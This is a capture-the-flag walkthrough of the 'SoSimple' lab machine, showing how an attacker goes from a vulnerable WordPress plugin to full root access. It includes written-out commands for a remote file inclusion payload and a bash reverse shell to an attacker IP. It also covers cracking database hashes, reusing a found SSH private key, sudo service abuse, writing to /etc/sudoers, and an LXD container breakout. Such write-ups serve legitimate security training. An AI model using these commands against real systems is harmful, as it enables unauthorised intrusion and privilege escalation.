PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SoSimple is a ProvingGrounds machine that is rated medium. Has a interesting plugin to enumerate and exploit as well as containing some nifty escalation paths as well.
Initial Access - Wordpress Plugin
Our initial enumeration starts on the webapp on port 80. Having a look we are greeted with the following showing a webapp of some sort.
There is not much in the way of content for the web page or clues for any directories within the source page.
Our next step is to find any potential directories or files that may be available on this webpage and further explore any pages.
feroxbuster -u http://192.168.89.78/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -B
feroxbuster -u http://192.168.89.78/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -B
Once complete, we discover that we have a wordpress site running. Knowing this, we can proceed to use wpscan to enumerate the wordpress site with all its plugins, themes as well as bruteforcing for valid usernames if we wanted to be thorough.
However before proceeding with further scans we also just inspect the source page and we are met with a plugin and version number displayed within the html comments.
Being good pentesters, we explore all information presented to us and by having a look at the public exploits for Social Warefare v3.5 does present a possible Remote Code Execution proof of concept that we can attempt to run with.
From reading the code, the following appears to indicate that it is possible to have it call back to a server that contains a malicious file. This vulnerability appears to be a simple Remote File Inclusion with the wordpress plugin including our file and executing the code contained within.
Note: escape all "?" and "&" or this url will cause issues with bash.
First we create a malicious payload that we can attempt to execute as a PoC on the target.
echo "<pre>system('id')</pre>" > payload.txt
Then we proceed to use the following URL through either Curl or the Browser and have the exploit point to our payload that we host on our machine with a simple python server.
Running the curl command we can see that our HTTP server is hit with a request and grabbed our file successfully
Inspecting the HTTP info that is returned with CURL, at the very top of the page info we can see that our command was executed.
To further display this, we change the code to something else and confirm there is no issues with sending commands with spaces.
echo "<pre>system('cat /etc/passwd')</pre>" > payload.txt
Next we change our payload in order to get our reverse shell through this vulnerability with a simple bash reverse shell.
Note: Escaping double quotes to ensure there isn't any issues when sending and executing the payload.
echo "<pre>system('/bin/bash -c \"exec bash -i &>/dev/tcp/192.168.49.89/443 <&1\"')</pre>" > payload.txt
We have our initial access to the system as www-data.
Privilege Escalation - World Readable Private Key
As we are www-data and we are aware of Wordpress being available; our enumeration starts with looking at the database configuration normally contained in wp-config.php within the /var/www/html/wordpress directory.
Using this credentials we access the database directly and extract any possible hashes or passwords as a possible exploitation path.
mysql -h 127.0.0.1 -uwp_user -ppassword
Then we investigate the database to find any useful information.
select * from wp_users;
Using hashcat, I cracked the following hash:
We tried using it and it doesn't appear to allow any login within the system. So we put this on the backburner and will come back to it if we discover anything else.
Through enumeration within the directories we end up finding a RSA private key and this may be a private key for one of our users.
We copy this content from the remote machine into a id_rsa file that we create locally on kali. Then we use this private key to log in through SSH.
Ssh requires that the private keys used for authentication to have limited permissions so we need to change the permissions on the id_rsa first.
chmod 600 id_rsa
Then using this, we attempt to login as the users we discovered through our enumeration of the system: root/steven/max
After trying the others, we finally attempt this with Max and we have a successful login!
ssh firstname.lastname@example.org -i id_rsa
Privilege Escalation - Sudo
As we have access to the system as Max! First thing we do is look at our permissions and we can see that we are able to run /usr/sbin/service as another user (steven) without needing to use his password.
Looking at GTFOBins and the Service Binary we can see that it is possible to exploit this and get a command shell as the user that we can exploit.
sudo -u steven /usr/sbin/service ../../bin/sh
Now we have our shell as Steven! Again we repeat our enumeration steps and when looking at our users permissions, Steven also has a command that they can run as Sudo.
We try to inspect the script that we can run as Sudo (root) but it doesn't appear to exist and while inspecting further; the directory does not exist either.
We inspect the /opt/ directory and we are able to write to it. We create the /tools/ directory and then create a /server-health.sh file that we provide executable permissions to.
mkdir /opt/tools && touch /opt/tools/server-health.sh
chmod +x /opt/tools/server-health.sh
There are several ways to tackle this as we are able to run the following command of a script and this will be executed as if the root user is running it himself.
As you can imagine, you can put anything into this Script file and have it executed. From file changes, permission changes or even to more reverse shells.
We decide to proceed with editing the /etc/sudoers file (just to keep it interesting) and decide to add our "Steven" user to the /etc/sudoers file and allow steven to run ALL commands as Sudo without needing a password.
# Add to Sudoers File
printf '#! /bin/bash\necho "steven ALL=NOPASSWD:ALL" >> /etc/sudoers\n' > /opt/tools/server-health.sh
# Launch Another Binary
echo "/bin/bash" > /opt/tools/server-health.sh
Which ever exploit you use, you can run the following to execute it with those Root permissions:
If you followed along with the /etc/sudoers method then all you need to do afterwards is run the following:
With that we are now root and the system is compromised in full.
Privilege Escalation - LXD Group
After gaining access to the Max user then we inspect our users groups. Being part of the LXD group is similar to Docker in the sense that you are able to exploit mounting the file system as an image and exploit the fact that you can be root within the file system image.
In order to exploit this LXD group membership, the following steps are required on our personal Kali machine in order to build the necessary files. This is only required due to not having an internet connection to the CTF machine.
# Download Dependencies for Go Lang
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools git
# Download & Make Distrobuilder
git clone https://github.com/lxc/distrobuilder
# Create Folder & Setup yaml
mkdir -p $HOME/ContainerImages/alpine/
# Build lxd.tar.xz & rootfs.squashfs
sudo /home/kali/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
Once we have these files built. We can save them somewhere for later use but we need to transfer the files over to the victim machine as well as our next steps will take place on the victims machine.
In this case, we decided to proceed with the Alpine distrobution image as Alpine is compatible and common for LXD/LXC containers.
# Server On Kali
python3 -m http.server 80
# Download from Victim
"Or any folder that you have write access to"
From here. we have the necessary files in order to take advantage of LXD. We exploit on the Victim machine with the following and proceed to create our image & container to allow our breakout.
# Import Image (saved in current directory)
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
# Initialise LXD & Set All Defaults (hit enter lots)
If LXD has not been run before, then being able to initialise it is important in order to avoid errors going forward. Make sure to run the
lxd init command to start off with then follow along.
When running lxd init, it does error out due to IPv6 so we can either change the IPv6 option or disable creating new local bridge.
Then we list to confirm that the image is there.
With this our image is imported on the victim machine. Next we want to create our container that we named ourselves "privesc". We set the following configuration and then check if our new container is created.
# Create Container
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
With this confirmed, our next step is to configure and add the Root path and mount for our exploitation.
# Add Root (/) Path & Exploit
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
# Execute /bin/sh
lxc exec privesc /bin/sh
From here we need to navigate to our root directory and we can access what we came for as a root user.
The host file system is now inside this container and we can access that file system as root.
We can also write files as root as well